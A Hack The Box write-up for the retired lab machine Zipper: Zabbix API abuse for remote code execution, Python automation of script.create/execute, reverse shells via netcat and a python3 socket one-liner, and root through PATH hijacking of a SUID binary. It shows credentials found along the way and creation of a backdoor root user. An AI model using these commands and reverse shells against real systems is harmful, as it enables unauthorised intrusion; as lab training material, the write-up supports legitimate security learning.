HTB{ Zipper }

Feb 23, 2019 | 22 minutes read

Tags: hack the box, linux, docker, python, api, PATH hijack

If you’ve read my write-up of Jerry, you may have noticed that I’m a big fan of API testing. Zipper has API testing in spades, and I loved digging into it to figure out different methods of gaining access. I really enjoyed the fact that the creator, burmat, added just enough twists to keep the box from being too simple. I had a lot of fun writing a tool to automate running commands against Zabbix and wouldn’t have ever had the need without having done Zipper.




As usual, we start off with a masscan followed by a targeted nmap.

masscan -e tun0 --ports 0-65535,U:0-65535 --rate 700 -oL masscan.

open tcp 10050 1550712710
open tcp 22 1550712769
open tcp 80 1550712570


nmap -p 22,80,10050 -sC -sV -oA nmap.

22/tcp    open  ssh        OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
|   256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_  256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp    open  http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Normally, I’d take this moment to push my wrapper around gobuster named recursive-gobuster. However, there’s not really a need for this target. Such is life. Instead, we’ll use a standard run of gobuster.

gobuster -s '200,204,301,302,307,403,500' -e -t 20 -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 20
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403,500
[+] Expanded     : true
[+] Timeout      : 10s
2019/02/20 20:11:15 Starting gobuster
===================================================== (Status: 301)
2019/02/20 20:21:44 Finished

Initial Access


Upon browsing to, we see a login form for (surprise…) Zabbix. Zabbix is an open-source tool for monitoring things like networks, servers, virtual machines (VMs) and cloud services. Zabbix can generate and display reports on things like network utilization, CPU load and disk space consumption.


At this point, port 10050 is tcpwrapped and we don’t have creds for ssh. We’ve enumerated web directories and only found /zabbix/. Basically, we’re left with very few options. One option is a brute-force attack, the other is to explore this sign in as guest feature. Since brute-force should (generally) be a last resort, let’s check out the guest functionality.

Zabbix - guest


After clicking on sign in as guest, we’re logged into the site. One of the first things we should do when dealing with a web application is to visit every page to get a feel for the application. It’s common to open up burp and keep an eye on the http history tab while browsing the application to see requests and responses as they occur.

While browsing the site, what appears to be a username keeps popping up: zapper. Also, take note of the Zabbix version: 3.0.21 and the fact that on multiple pages there are references to Zapper's Backup Script. These will come into play a little later.


Since we’re still only a guest, zapper seems to be a likely candidate for an avenue to elevate our permissions. Let’s try logging out of the guest account and attempting to login to the zapper account.

Zabbix - zapper

It may seem silly, but trying the username as the password is very simple, quick, and (at times) effective. Tools like hydra offer the option to automatically try the username as the password for good reason. In this case, we can authenticate to zabbix using the credentials zapper:zapper.

On a personal note: logging in with these kinds of creds is real. I recently got a very nice payday in a bug bounty program by logging into a Fortune 200 company’s employee on-boarding web application using admin:admin. Things like this are out there, and trying a few of the defaults may end up being worth your while. Moral of the story: you never know the creds are incredibly simple until you try.

After attempting to login, we get an error message: GUI access disabled.


Zabbix - API

Since there is no GUI access, a logical assumption is that there is a method of access devoid of a GUI. An API is probably the next step; to the google machine! A simple search for Zabbix 3.0 API leads us to the Zabbix documentation. Now we can start looking for the methods to login via API. Since APIs are a lot of fun to work with and afford us the opportunity to write some code, we’ll be writing a lot of python for this target, heads up!

apiinfo - a PoC

We’ll begin by writing a small proof of concept that will demonstrate a single working api call.

From the main api page under the Performing requests section, we see this statement.

Once you’ve set up the frontend, you can use remote HTTP requests to call the API. To do that you need to send HTTP POST requests to the api_jsonrpc.php file located in the frontend directory.

So, all of our requests need to be sent to that endpoint. Sounds easy enough. Directly below that statement, we see an example request we can send.

Content-Type: application/json-rpc

All we need to do is say the same thing above programmatically. We can open up a python shell and start playing around.

First, we’ll import requests to ease the creation of our http requests. If you’ve never worked with the requests library, it’s an incredible project and used by more than half of all python developers according to a survey earlier this year. While we’re at it, we’ll also get some of the variables setup (url, username, etc…)

Python 3.7.2+ (default, Feb  2 2019, 14:31:48) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
loaded: ['Path', 'pprint']
>>> import requests
>>> url = ""
>>> post_headers = {"Content-Type": "application/json-rpc"}
>>> post_data = '{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"auth":null,"params":{}}'

As you can see, most of the information used was just copied and pasted from the Zabbix example. For convenience, while writing this PoC, we’ll just keep the json data as a string. When we build out more complete scripts later on, the data posted will begin life as a dictionary, similar to the post_headers variable.

With all of the setup complete, the last piece is to make the request itself.

>>>, data=post_data, headers=post_headers).json()
{'jsonrpc': '2.0', 'result': '3.0.21', 'id': 1}

We now have a functional request to the API to build on.


Let’s see about using the API to authenticate to the site. The documentation for logging in via the API can be found here. Scrolling down a bit, we see an example request and response for user login.


We’ll begin by writing a reusable function to wrap the basics of the API calls, since very little changes from one request to the next.

import json
import requests

def make_rpc_call(method, params, auth) -> dict:
    """ Make RPC call to zabbix api.

    API Documentation

        method: zabbix RPC method
        params: dictionary of parameters to send
        auth: zabbix authentication token

        JSON response as a dictionary
    url = ""

    payload = {
        "jsonrpc": "2.0",
        "method": method,
        "params": params,
        "auth": auth,
        "id": 0
    headers = {
        'content-type': 'application/json-rpc'
    response =, data=json.dumps(payload), headers=headers)
    return response.json()

This reusable function will power our API calls from now on. Notice that we haven’t changed much from the PoC above. All we did was make the values associated with method, params and auth variable, so we can send different values to the function for different API calls. The other primary difference is that our data sent via POST starts out as a dictionary, and is converted to json before transmission.

Let’s take the new function for a spin. Also, let’s assume we’ve named the file containing our function and it’s in our current directory when we start the python shell.

Python 3.7.2+ (default, Feb  2 2019, 14:31:48) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
loaded: ['Path', 'pprint']
>>> import zabbix_api
>>> zabbix_api.make_rpc_call(method='user.login', params={"user": "zapper", "password": "zapper"}, auth=None)
{'jsonrpc': '2.0', 'result': 'e1db7b4d4739fb742b531c27165c64a2', 'id': 0}

Success! We have asked to login as zapper and the API graciously returned an auth token to us for our efforts (the value associated with result). The auth token will allow us to make authenticated API calls. The question then becomes, what calls do we still need to make?


Perusing the API docs, we come across the script.execute API endpoint. It definitely sounds like a good way forward in our pursuit of RCE. Let’s check it out.


Take note that the documentation says that this endpoint requires us to send a hostid and a scriptid in the call.


Looking at the example above, both the scriptid and the hostid look like they’re something we need to know before proceeding. Let’s start by figuring out how to ask for a hostid.


The endpoint that will cough up the hostid we need is host.get. This endpoint has a lot of parameters it’ll accept, the trick is asking for the information correctly. Let’s import our function into a shell so we can quickly iterate over calls and see what results we can get back.

Being the astute observers we are, we notice that all of the parameters for this endpoint are optional. So, we can generate a call without parameters and see what the endpoint spits out by default.

>>> import zabbix_api
>>> zabbix_api.make_rpc_call(method='user.login', params={"user": "zapper", "password": "zapper"}, auth=None)
{'jsonrpc': '2.0', 'result': '595fd5893c3245ae6d269e67ca253e8f', 'id': 0}
>>> zabbix_api.make_rpc_call(method='host.get', params={}, auth='595fd5893c3245ae6d269e67ca253e8f')
{'jsonrpc': '2.0', 'result': [{'hostid': '10105', 'proxy_hostid': '0', 'host': 'Zabbix', 'status': '0', 'disable_until': '0', 'error': '', 'available': '0', 'errors_from': '0', 'lastaccess': '0', 'ipmi_authtype': '-1', 'ipmi_privilege': '2', 'ipmi_username': '', 'ipmi_password': '', 'ipmi_disable_until': '0', 'ipmi_available': '0', 'snmp_disable_until': '0', 'snmp_available': '0', 'maintenanceid': '0', 'maintenance_status': '0', 'maintenance_type': '0', 'maintenance_from': '0', 'ipmi_errors_from': '0', 'snmp_errors_from': '0', 'ipmi_error': '', 'snmp_error': '', 'jmx_disable_until': '0', 'jmx_available': '0', 'jmx_errors_from': '0', 'jmx_error': '', 'name': 'Zabbix', 'flags': '0', 'templateid': '0', 'description': 'This host - Zabbix Server', 'tls_connect': '1', 'tls_accept': '1', 'tls_issuer': '', 'tls_subject': '', 'tls_psk_identity': '', 'tls_psk': ''}, {'hostid': '10106', 'proxy_hostid': '0', 'host': 'Zipper', 'status': '0', 'disable_until': '0', 'error': '', 'available': '1', 'errors_from': '0', 'lastaccess': '0', 'ipmi_authtype': '-1', 'ipmi_privilege': '2', 'ipmi_username': '', 'ipmi_password': '', 'ipmi_disable_until': '0', 'ipmi_available': '0', 'snmp_disable_until': '0', 'snmp_available': '0', 'maintenanceid': '0', 'maintenance_status': '0', 'maintenance_type': '0', 'maintenance_from': '0', 'ipmi_errors_from': '0', 'snmp_errors_from': '0', 'ipmi_error': '', 'snmp_error': '', 'jmx_disable_until': '0', 'jmx_available': '0', 'jmx_errors_from': '0', 'jmx_error': '', 'name': 'Zipper', 'flags': '0', 'templateid': '0', 'description': 'Zipper', 'tls_connect': '1', 'tls_accept': '1', 'tls_issuer': '', 'tls_subject': '', 'tls_psk_identity': '', 'tls_psk': ''}], 'id': 0}

That output is pretty gross, let’s clean it up a bit. We can save off the response returned using the python shell’s special variable _. In the context of python’s interactive shell, the _ character stores the result of the last expression. Effectively, we’re just storing that big json blog above into a variable called response and pretty-printing it.

 1>>> response = _ 
 2>>> from pprint import pprint
 3>>> pprint(response)
 4{'id': 0,
 5 'jsonrpc': '2.0',
 6 'result': [{'available': '0',
 7             'description': 'This host - Zabbix Server',
 8             'disable_until': '0',
 9             'error': '',
10             'errors_from': '0',
11             'flags': '0',
12             'host': 'Zabbix',
13             'hostid': '10105',
14             'ipmi_authtype': '-1',
16             'tls_psk_identity': '',
17             'tls_subject': ''},
18            {'available': '1',
19             'description': 'Zipper',
20             'disable_until': '0',
21             'error': '',
22             'errors_from': '0',
23             'flags': '0',
24             'host': 'Zipper',
25             'hostid': '10106',
26             'ipmi_authtype': '-1',
28             'tls_subject': ''}]}

That’s much easier to digest. Browsing the response, we see there are two hostids returned to us. Looking at the example below, it looks like we can be much more specific in the output returned to us.


>>> pprint(zabbix_api.make_rpc_call('host.get', {'output': ['host']}, 'd393581f697be2bdf67b5429c7329b21'))
{'id': 0,
 'jsonrpc': '2.0',
 'result': [{'host': 'Zabbix', 'hostid': '10105'},
            {'host': 'Zipper', 'hostid': '10106'}]}

Noice! We have two hostids to work with.

automation interlude

If you’ve been following along, you’ve probably already had to reauthenticate a time or two while playing with the API. Let’s add a small function to the bottom of our file that will take care of that for us. Because we only have one set of creds, this won’t be a function we’re likely to reuse, it’s just a quality of life improvement. Knowing that, we’ll hardcode the zapper creds into the function.

def zabbix_login():
    response = make_rpc_call('user.login', params={"user": "zapper", "password": "zapper"}, auth=None)
    return response.get('result')

Armed with our new function, we need to reload our into the shell.

>>> import importlib
>>> importlib.reload(zabbix_api)
<module 'zabbix_api' from '/root/htb/zipper/'>

That done, we can now test the new functionality.

>>> zabbix_api.make_rpc_call('host.get', {'output': ['host']}, zabbix_api.zabbix_login())
{'jsonrpc': '2.0', 'result': [{'hostid': '10105', 'host': 'Zabbix'}, {'hostid': '10106', 'host': 'Zipper'}], 'id': 0}

Alright, let’s get back to hunting RCE.


Onto the scriptid! Looking at the API docs again, we see the script.create page. Looking at the example, after calling this endpoint, it returns an array of scriptids. This looks like a winner.


As usual, we’ll start small and work from there.

>>> zabbix_api.make_rpc_call('script.create', {'name': 'test-script', 'command': 'uname -a'}, zabbix_api.zabbix_login())
{'jsonrpc': '2.0', 'result': {'scriptids': ['9']}, 'id': 0}

The response seems to indicate success. We have a scriptid to plug in to our script.execute call!

script.execute (again)

Alright, we have some hostids and the ability to generate scriptids. Let’s put it all together and see if we can get our uname -a to execute on one of the hostids.

>>> pprint(zabbix_api.make_rpc_call('script.execute', {'hostid': '10105', 'scriptid': '9'}, zabbix_api.zabbix_login()))
{'error': {'code': -32500,
           'data': 'Get value from agent failed: cannot connect to '
                   '[[]:10050]: [111] Connection refused',
           'message': 'Application error.'},
 'id': 0,
 'jsonrpc': '2.0'}

The first hostid returns a Connection refused error, what about the other hostid?

>>> pprint(zabbix_api.make_rpc_call('script.execute', {'hostid': '10106', 'scriptid': '9'}, zabbix_api.zabbix_login()))
{'id': 0,
 'jsonrpc': '2.0',
 'result': {'response': 'success',
            'value': 'Linux zipper 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 '
                     '13:44:35 UTC 2018 i686 i686 i686 GNU/Linux'}}

Very nice! We have RCE on the server.

some light recon

Let’s figure out how we’re going to pop a shell on target. A good place to start is to figure out what binaries are on target that we can utilize.

>>> zabbix_api.make_rpc_call('script.create', {'name': 'test-script2', 'command': 'which perl python nc ncat netcat'}, zabbix_api.zabbix_login())
{'jsonrpc': '2.0', 'result': {'scriptids': ['19']}, 'id': 0}
>>> pprint(zabbix_api.make_rpc_call('script.execute', {'hostid': '10106', 'scriptid': '19'}, zabbix_api.zabbix_login()))
{'id': 0,
 'jsonrpc': '2.0',
 'result': {'response': 'success',
            'value': '/usr/bin/perl\n/bin/nc\n/bin/netcat\n'}}

Netcat is there, and depending on the version, can make it incredibly simple to go interactive. Let’s see if it has the -e option.

 1>>> zabbix_api.make_rpc_call('script.create', {'name': 'test-script3', 'command': 'nc -h'}, zabbix_api.zabbix_login())
 2{'jsonrpc': '2.0', 'result': {'scriptids': ['20']}, 'id': 0}
 3>>> pprint(zabbix_api.make_rpc_call('script.execute', {'hostid': '10106', 'scriptid': '20'}, zabbix_api.zabbix_login()))
 4{'id': 0,
 5 'jsonrpc': '2.0',
 6 'result': {'response': 'success',
 7            'value': '[v1.10-41.1]\n'
 8                     'connect to somewhere:\tnc [-options] hostname port[s] '
 9                     '[ports] ... \n'
10                     'listen for inbound:\tnc -l -p port [-options] [hostname] '
11                     '[port]\n'
12                     'options:\n'
13                     "\t-c shell commands\tas `-e'; use /bin/sh to exec "
14                     '[dangerous!!]\n'
15                     '\t-e filename\t\tprogram to exec after connect '
16                     '[dangerous!!]\n'
17                     '\t-b\t\t\tallow broadcasts\n'

It’s not in the most pleasing format, but we can see that the -e option is there for us to use. Onto the shell!

Zabbix - shell

We’ve got all of the pieces, we just need to put them together.

First, we’ll start a listener for our callback.

nc -nvlp 12345

listening on [any] 12345 ...

Since we’re out of the testing phase of our initial access script we’ll add what we’ve learned so far to our file.

import json
import uuid

import requests

def make_rpc_call(method, params, auth) -> dict:
    """ Make RPC call to zabbix api.  
    API Documentation

        method: zabbix RPC method
        params: dictionary of parameters to send
        auth: zabbix authentication token

        JSON response as a dictionary
    url = ""

    payload = {
        "jsonrpc": "2.0",
        "method": method,
        "params": params,
        "auth": auth,
        "id": 0
    headers = {
        'content-type': 'application/json-rpc'
    response =, data=json.dumps(payload), headers=headers)
    return response.json()

def zabbix_login():
    response = make_rpc_call('user.login', params={"user": "zapper", "password": "zapper"}, auth=None)
    return response.get('result')

if __name__ == '__main__':
    auth_token = zabbix_login()

    cmd = f'/bin/nc -e /bin/bash -nv 12345'

    script_name = str(uuid.uuid4())[:8]  # randomize script name with each use
    scr_crt_rsp = make_rpc_call('script.create', {'name': script_name, 'command': cmd}, auth_token)

    script_id = scr_crt_rsp.get('result').get('scriptids')[0]

    make_rpc_call('script.execute', {'hostid': '10106', 'scriptid': script_id}, auth_token)

With the hostid, scriptid, and netcat command in place, we can finally execute it to get a shell on target.


# window with netcat listener running
connect to [] from (UNKNOWN) [] 43080
uid=103(zabbix) gid=104(zabbix) groups=104(zabbix)

\o/ - access level: zabbix

Even though we have a shell, user.txt is nowhere to be found. Additionally, we can easily see that we’re in a docker container based on the presence of the /.dockerenv file. Some cursory enumeration takes us to the /backups directory.

ls -al /backups

total 16
drwxrwxrwx 2   1000   1000 4096 Feb 22 11:00 .
drwxr-xr-x 1 root   root   4096 Feb 22 08:32 ..
-rw-rw-r-- 1 zabbix zabbix  330 Feb 22 10:34 zabbix_scripts_backup-2019-02-22.7z
-rw-rw-r-- 1   1000   1000 3207 Feb 22 11:00 zapper_backup-2019-02-22.7z

That’s cool, but they’re both password protected, so not much use without a password. Recall from when we were a guest in the web UI that Zapper's Backup Script is somewhere around here. Let’s see if we can find it.

1find / | grep -i backup


cat /usr/lib/zabbix/externalscripts/

# zapper wanted a way to backup the zabbix scripts so here it is:
7z a /backups/zabbix_scripts_backup-$(date +%F).7z -pZippityDoDah /usr/lib/zabbix/externalscripts/* &>/dev/null
echo $?

The -p option is the password to the 7z archives. It may be the password to other services, let’s try ssh.

Becoming zapper

A quick attempt at ssh’ing to the box proves unsuccessful. We’re getting rejected because the server only accepts an ssh key, which we’re not providing.

ssh zapper@

zapper@ Permission denied (publickey).

A look in /home isn’t helpful, almost certainly because we’re in a docker container and not on the host.

ls -al /home

total 8
drwxr-xr-x 2 root root 4096 Apr 24  2018 .
drwxr-xr-x 1 root root 4096 Feb 22 15:35 ..

So, the ssh keys that normally reside in a user’s home folder aren’t here. Even if they were, we wouldn’t be able to access them as the zabbix user. Remember that there were two hostids? Let’s see if getting a shell on the other hostid gets us access to the host.

script.create (again)

Poking around the documentation yet again, we see that script.create accepts scripts with the standard script properties. It’s in this additional page that we find what we need, the execute_on property. This will allow us to dictate whether our script gets created on the host or the container.


While we’re back messing with the API, let’s clean up our script again and make it something a little bit more flexible.

We’ll remove our hardcoded creds and add a reusable authentication function.

def authenticate(user, passwd):
    auth_call = make_rpc_call(method='user.login', params=dict(user=user, password=passwd), auth=None)
    return auth_call.get('result')

We’ll also add a way to determine the hostid based on the logical name (i.e. Zabbix or Zipper).

def get_hostid_by_host(host, token):
    hostid_call = make_rpc_call(method='host.get', params=dict(output=['host']), auth=token)

    for result in hostid_call.get('result'):
        if result.get('host') == host:
            return result.get('hostid')

Another useful addition is a function to handle all the drudgery of command execution.

def execute_command(cmd, token, location):
    script_name = str(uuid.uuid4())[:8]

    create_script_call = make_rpc_call('script.create', params=dict(command=cmd, name=script_name, execute_on=location), auth=token)

    script_id = create_script_call.get('result').get('scriptids')[0]

    rpc_call = make_rpc_call(method='script.execute', params=dict(scriptid=script_id, hostid=hostid), auth=auth_token)

    except AttributeError:
        # rpc_call was likely a callback and no results returned

And no python commandline tool is complete without argparse!

if __name__ == '__main__':
    hosts = ['Zipper', 'Zabbix']

    parser = argparse.ArgumentParser()

    parser.add_argument('--username', help='username to authenticate with', required=True)
    parser.add_argument('--password', help='password to authenticate with', required=True)
    parser.add_argument('--command', help='command to run on target', required=True)
    parser.add_argument('--zbx_host', help='Zabbix Host to run command on (default: Zipper)', default='Zipper', choices=hosts)

    args = parser.parse_args()

    location = hosts.index(args.zbx_host)

    auth_token = authenticate(user=args.username, passwd=args.password)

    hostid = get_hostid_by_host(host=args.zbx_host, token=auth_token)

    execute_command(cmd=args.command, token=auth_token, location=location)

A fully documented version can be found at my repo of HTB Scripts for Retired Boxes. It has links to all the relevant API endpoints and examples in the docstrings.

Zipper - shell

Ok, let’s recap. We know ssh keys are needed to login via ssh. We know there’s a zapper user. While in the container earlier, we couldn’t see anything in the home directory. Let’s give the new script a try and just check out /home on both the container and the host.

./ --username zapper --password zapper --command 'ls -al /home' --zbx_host Zabbix

total 8
drwxr-xr-x 2 root root 4096 Apr 24  2018 .
drwxr-xr-x 1 root root 4096 Feb 22 15:35 ..
./ --username zapper --password zapper --command 'ls -al /home' --zbx_host Zipper

total 12
drwxr-xr-x  3 root   root   4096 Sep  8 06:44 .
drwxr-xr-x 22 root   root   4096 Sep  8 07:10 ..
drwxr-xr-x  6 zapper zapper 4096 Sep  9 19:12 zapper

It looks like our assumption was correct. Now we have RCE on the host itself! Unfortunately, we’re still running as the zabbix user and can’t access zapper’s .ssh folder. Instead, we’ll get another shell and try to su to zapper using the password we found in Zapper's Backup Script. Because the execution environment is different (host vs container), we need to reassess what tools are available to us.

./ --username zapper --password zapper --command 'which python perl python3 nc netcat ncat'


We’ll use python3 this time for a reverse shell.

./ --username zapper --password zapper --command 'python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);"'

Running the above command with a listener in place gets us a shell on the host. Go team! We still can’t run commands like su and sudo without a pty. Luckily, a simple python command will take care of that.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Now, let’s see about suing to zapper.

zabbix@zipper:/$ su zapper
su zapper
Password: ZippityDoDah

              Welcome to:
███████╗██╗██████╗ ██████╗ ███████╗██████╗ 
  ███╔╝ ██║██████╔╝██████╔╝█████╗  ██████╔╝
 ███╔╝  ██║██╔═══╝ ██╔═══╝ ██╔══╝  ██╔══██╗
███████╗██║██║     ██║     ███████╗██║  ██║
╚══════╝╚═╝╚═╝     ╚═╝     ╚══════╝╚═╝  ╚═╝

[0] Packages Need To Be Updated
[>] Backups:
4.0K	/backups/zapper_backup-2019-02-22.7z


Now that we’re zapper, we can grab user.txt and the ssh private key that will allow us to ssh directly to the machine.

cat /home/zapper/user.txt
cat /home/zapper/.ssh/id_rsa

\o/ - access level: zapper

zapper to root


The path to root is pretty straightforward. We start off by checking out zapper’s home directory and finding the utils folder.

ls -al utils/

total 20
drwxrwxr-x 2 zapper zapper 4096 Sep  8 13:27 .
drwxr-xr-x 6 zapper zapper 4096 Sep  9 19:12 ..
-rwxr-xr-x 1 zapper zapper  194 Sep  8 13:12
-rwsr-sr-x 1 root   root   7556 Sep  8 13:05 zabbix-service

The zabbix-service binary has the SUID bit set, which should immediately grab our attention. Running strings on the binary gives us a clue on the way forward.

 1strings ./zabbix-service
 9start or stop?: 
11systemctl daemon-reload && systemctl start zabbix-agent
13systemctl stop zabbix-agent
14[!] ERROR: Unrecognized Option

The binary appears to be running the systemctl command, but it does not use an absolute path when doing so. For us, that means this binary is susceptible to PATH hijacking.

PATH Hijacking


The PATH environment variable is used to tell the shell which directories it should search when looking for a binary to run. When we run a command on Linux, we normally just specify the command itself:

cat /etc/passwd

The PATH helps the shell find where exactly the cat command lives on disk.

echo $PATH

Using the PATH above, bash will look for a file with the executable bit set in /usr/local/sbin. If there is a file named cat in that folder, and it’s executable, it will be run by bash. If it’s not there, /usr/local/bin will be checked next. If cat isn’t there, it will check /usr/sbin and so on down the line until it either finds an executable named cat in one of the directories, or it runs out of directories to try. We can easily check where cat lives with the which command.

which cat

So, when we type cat /etc/passwd, the shell checks /usr/local/sbin, /usr/local/bin, /usr/sbin, /usr/bin, and /sbin before arriving at /bin. Once there, a file named cat is found and the command runs.

It’s important to understand how the PATH functions before we try to abuse that functionality.


Due to the fact that we control the PATH variable, we can dictate which directories get searched for binaries to be run. Therein lies the crux of the vulnerability. By not specifying an absolute path to systemctl, the developer is allowing us to essentially say which systemctl should be run. We do this by altering the PATH variable to point at an arbitrary directory we control. Inside that directory, we just need to create a file named systemctl and make it executable. The contents can be whatever we want them to be. Let’s do eeet.

First, we’ll make a directory to work out of and cd into it.

mkdir /tmp/.supersecret 
cd !$

Then, we’ll create our own version of systemctl. I enjoy adding a root user in situations like these.

cat /tmp/.supersecret/systemctl

echo 'epi:thanks:0:0::/root:/bin/bash' | newusers

The last thing to take care of is adjusting our PATH to make our current directory the first entry in the PATH.

PATH=$(pwd):$PATH && echo $PATH


Now, everything is in place. The final step is to run the SUID bit binary.

start or stop?: start

That done, we can just su to our new root user.

zapper@zipper:/tmp/.supersecret$ su - epi
Password: thanks
root@zipper:~# id
uid=0(root) gid=0(root) groups=0(root)

And, of course, the flag.

cat /root/root.txt


\o/ - root access

Alternate GUI Access via API

For SnG’s, we can get GUI access by creating a new admin user. In the GUI we could perform all of the same actions we performed through the API (not demonstrated here).


The usergroup.get endpoint will tell us which group id (usrgrpid) is associated with the Zabbix administrators group.

Python 3.7.2+ (default, Feb  2 2019, 14:31:48) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
loaded: ['Path', 'pprint']
>>> import zabbix_rpc_rce
>>> token = zabbix_rpc_rce.authenticate('zapper', 'zapper')
pprint(zabbix_rpc_rce.make_rpc_call('usergroup.get', {}, auth=token))
{'id': 0,
 'jsonrpc': '2.0',
 'result': [{'debug_mode': '0',
             'gui_access': '0',
             'name': 'Zabbix administrators',
             'users_status': '0',
             'usrgrpid': '7'},
            {'debug_mode': '0',
             'gui_access': '0',
             'name': 'Guests',
             'users_status': '0',
             'usrgrpid': '8'},
            {'debug_mode': '0',
             'gui_access': '0',
             'name': 'Disabled',
             'users_status': '1',
             'usrgrpid': '9'},
            {'debug_mode': '1',
             'gui_access': '0',
             'name': 'Enabled debug mode',
             'users_status': '0',
             'usrgrpid': '11'},
            {'debug_mode': '0',
             'gui_access': '2',
             'name': 'No access to the frontend',
             'users_status': '0',
             'usrgrpid': '12'}]}


The [user.create] endpoint allows us to use zapper’s creds to create a new user.


>>> zabbix_rpc_rce.make_rpc_call('user.create', {'passwd': 'thanks', 'alias': 'epi', 'usrgrps':[{'usrgrpid': '7'}]}, auth=token)
{'jsonrpc': '2.0', 'result': {'userids': ['4']}, 'id': 0}


The user.update endpoint allows us to change the type of our user to Zabbix super admin.


zabbix_rpc_rce.make_rpc_call('user.update', {'userid': 4, 'type':3}, auth=token)
{'jsonrpc': '2.0', 'result': {'userids': [4]}, 'id': 0}

Frontend Access

Now we can login as an admin.


Alternate GUI Access via Admin Creds

If we grab a shell back inside the Zabbix container, we can snag the creds for Admin and use those to login to the GUI as well. With a listener running on port 12345, we’ll use our handy-dandy zabbix tool to get a shell.

./ --username zapper --password zapper --command 'nc -nve /bin/bash 12345' --zbx_host Zabbix

Then we can view the contents of one of the Zabbix config files.

 2// Zabbix GUI configuration file.
 3global $DB;
 5$DB['TYPE']     = 'MYSQL';
 6$DB['SERVER']   = 'localhost';
 7$DB['PORT']     = '0';
 8$DB['DATABASE'] = 'zabbixdb';
 9$DB['USER']     = 'zabbix';
10$DB['PASSWORD'] = 'f.YMeMd$pTbpY3-449';
12// Schema name. Used for IBM DB2 and PostgreSQL.
13$DB['SCHEMA'] = '';
15$ZBX_SERVER      = 'localhost';
16$ZBX_SERVER_PORT = '10051';
17$ZBX_SERVER_NAME = 'Zabbix';

Frontend Access

We can snag the password and login to the GUI with Admin:f.YMeMd$pTbpY3-449.


I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.


Additional Resources

  1. HTB Scripts for Retired Boxes
  2. Zabbix API
  3. Python - requests

comments powered by Disqus